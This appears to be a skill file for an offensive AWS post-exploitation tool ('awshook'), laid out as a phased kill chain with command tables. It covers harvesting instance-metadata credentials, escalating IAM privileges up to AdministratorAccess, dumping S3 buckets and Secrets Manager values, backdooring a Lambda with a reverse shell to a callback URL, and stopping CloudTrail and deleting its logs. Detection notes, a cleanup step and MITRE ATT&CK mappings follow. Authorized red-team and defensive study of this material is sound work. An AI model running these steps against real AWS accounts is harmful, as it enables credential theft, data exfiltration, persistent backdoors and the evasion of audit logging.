aws-postexploit

name	aws-postexploit
description	AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
category	post-exploitation
tags	["aws","cloud","post-exploitation","iam","s3","lambda","ssm","cloudtrail","credential-access","defense-evasion","persistence"]
tech_stack	["aws","boto3","python"]
cwe_ids	["CWE-269","CWE-522","CWE-693","CWE-284"]
chains_with	["T1078.004","T1530","T1537","T1562.008","T1098","T1059.009","T1552.005"]
prerequisites	["T1078.004","T1552.005"]
version	1.0

AWS Post-Exploitation Methodology

AWS post-exploitation uses boto3, the AWS CLI, and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, and SSM for lateral movement.

Prerequisites

Before deploying awshook tools, verify:

1. Valid AWS credentials — access key + secret key, session token, or instance profile
2. boto3 installed — pip3 install boto3
3. Current identity — aws sts get-caller-identity to confirm access
4. Region — set via --region, AWS_DEFAULT_REGION, or profile config

# Quick prerequisite check
aws sts get-caller-identity                    # verify credentials work
aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
python3 -c "import boto3; print('boto3 OK')"   # verify boto3

Kill Chain Phases

Phase 1 — Situational Awareness (First 60 seconds)

Understand the AWS environment and current permissions.

Action	Command	Purpose
IAM enumeration	awshook iam_enum	Map all users, roles, policies; identify privilege escalation paths
Metadata harvest	awshook metadata_harvest	Extract IAM role credentials from EC2/ECS/Lambda metadata
CloudTrail status	awshook cloudtrail_blind --action status	Check logging configuration before any noisy operations

Phase 2 — Privilege Escalation

Exploit IAM misconfigurations to gain higher privileges.

Action	Command	Purpose
PassRole escalation	awshook iam_privesc --method passrole	Create Lambda with admin role via iam:PassRole
AssumeRole chain	awshook iam_privesc --method assumerole --role-arn ARN	Assume role with broader permissions
Policy attachment	awshook iam_privesc --method attach_policy	Attach AdministratorAccess to current user
Access key creation	awshook iam_privesc --method create_key --target-user USER	Create new access key for persistence

Phase 3 — Data Exfiltration

Extract sensitive data from AWS services.

Action	Command	Purpose
S3 dump	awshook s3_dump	Find and download sensitive files from all buckets
Secrets extraction	awshook secrets_dump	Extract Secrets Manager and SSM Parameter Store values
EBS snapshot	awshook ec2_snapshot --volume-id VOL_ID	Snapshot volumes for offline data access

Phase 4 — Persistence

Establish persistent access to the AWS environment.

Action	Command	Purpose
Lambda backdoor	awshook lambda_backdoor --function-name NAME --callback-url URL	Inject reverse shell into Lambda
SSM execution	awshook ssm_exec --instance-id ID --command CMD	Execute commands on EC2 via SSM

Phase 5 — Operational Security

Reduce detection footprint.

Action	Command	Purpose
Stop CloudTrail	awshook cloudtrail_blind --action stop	Stop CloudTrail logging
Delete logs	awshook cloudtrail_blind --action delete_logs	Remove existing CloudTrail logs from S3

Phase 6 — Cleanup (MANDATORY)

awshook cleanup_aws

The cleanup tool:

1. Restores CloudTrail logging (start_logging on stopped trails)
2. Deletes Lambda functions and layers created by lambda_backdoor
3. Removes IAM roles, policies, and access keys created by iam_privesc
4. Deletes EBS snapshots created by ec2_snapshot
5. Cleans the state file (~/.cyberstrike/awshook-state.json)

Detection Considerations

AWS post-exploitation tools are detectable by:

• CloudTrail — All API calls logged (unless blinded). Key events: CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging
• GuardDuty — Anomalous IAM behavior, unusual API calls, credential exfiltration patterns
• AWS Config — Configuration change detection for IAM, Lambda, CloudTrail
• IAM Access Analyzer — External access to resources, unused permissions
• Security Hub — Aggregated findings from GuardDuty, Config, Access Analyzer
• S3 Access Logging — Object-level access logging for data exfiltration detection

Program Reference

Program	Technique	MITRE ATT&CK
iam_enum	IAM user/role/policy enumeration and privesc analysis	T1087.004 — Cloud Account
iam_privesc	IAM privilege escalation via PassRole/AssumeRole/Policy	T1098 — Account Manipulation
s3_dump	S3 bucket data exfiltration	T1530 — Data from Cloud Storage
lambda_backdoor	Lambda function backdoor for persistence	T1525 — Implant Internal Image
ssm_exec	Remote command execution via SSM	T1021.007 — Cloud Services
metadata_harvest	EC2/ECS/Lambda metadata credential extraction	T1552.005 — Cloud Instance Metadata API
cloudtrail_blind	CloudTrail log evasion	T1562.008 — Disable Cloud Logs
secrets_dump	Secrets Manager/Parameter Store extraction	T1555.006 — Cloud Secrets Management Stores
ec2_snapshot	EBS volume snapshot for data access	T1537 — Transfer Data to Cloud Account
cleanup_aws	Resource removal and trail restoration	T1070 — Indicator Removal